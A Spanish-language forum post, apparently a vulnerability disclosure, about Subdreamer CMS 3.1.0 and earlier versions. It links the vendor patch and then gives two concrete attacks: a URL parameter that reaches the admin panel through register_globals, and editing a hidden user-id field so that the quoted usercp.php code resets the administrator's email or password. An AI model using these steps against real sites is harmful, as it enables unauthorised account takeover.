EDITO: acaban de sacar otro update que soluciona todos los fallos.
para el primero hay parche, de obligatoria instalacion ya que por un fallo se podia acceder a todo el panel de administracion:
http://www.subdreamer.com/sdcms_310_patch.zip
con register_globals On, http://host/admin/pages.php?userinfo[adminaccess]=1 para navegar por el panel de administracion sin hacer login.
cambiar email y password de cualquier usuario, id 1 por defecto es administrador. necesitas estar registrado y modificar tu perfil, dando una ojeada al codigo html
Código:
<form action="http://localhost/index.php?categoryid=5" method="post" name="form">
<input type="hidden" value="4" name="p11_userid">
p11_userid es nuestro id de usuario, ahora miramos usercp.php
Código:
if(isset($_POST['email']) && strlen($_POST['email']))
{
$DB->query("UPDATE {users} SET email = '%s' WHERE userid = %d", $_POST['email'], $_POST['p11_userid']);
}
// change password?
if(isset($_POST['newpassword']) && strlen($_POST['newpassword']))
{
$DB->query("UPDATE {users} SET password = '%s' WHERE userid = %d", md5($_POST['newpassword']), $_POST['p11_userid']);
}
el id no se verifica en ningun momento, solo modificando el valor del campo oculto por 1 cambiaremos el password o email del administrador y podremos logearnos tranquilamente. versiones anteriores tb estan afectadas por estos errores.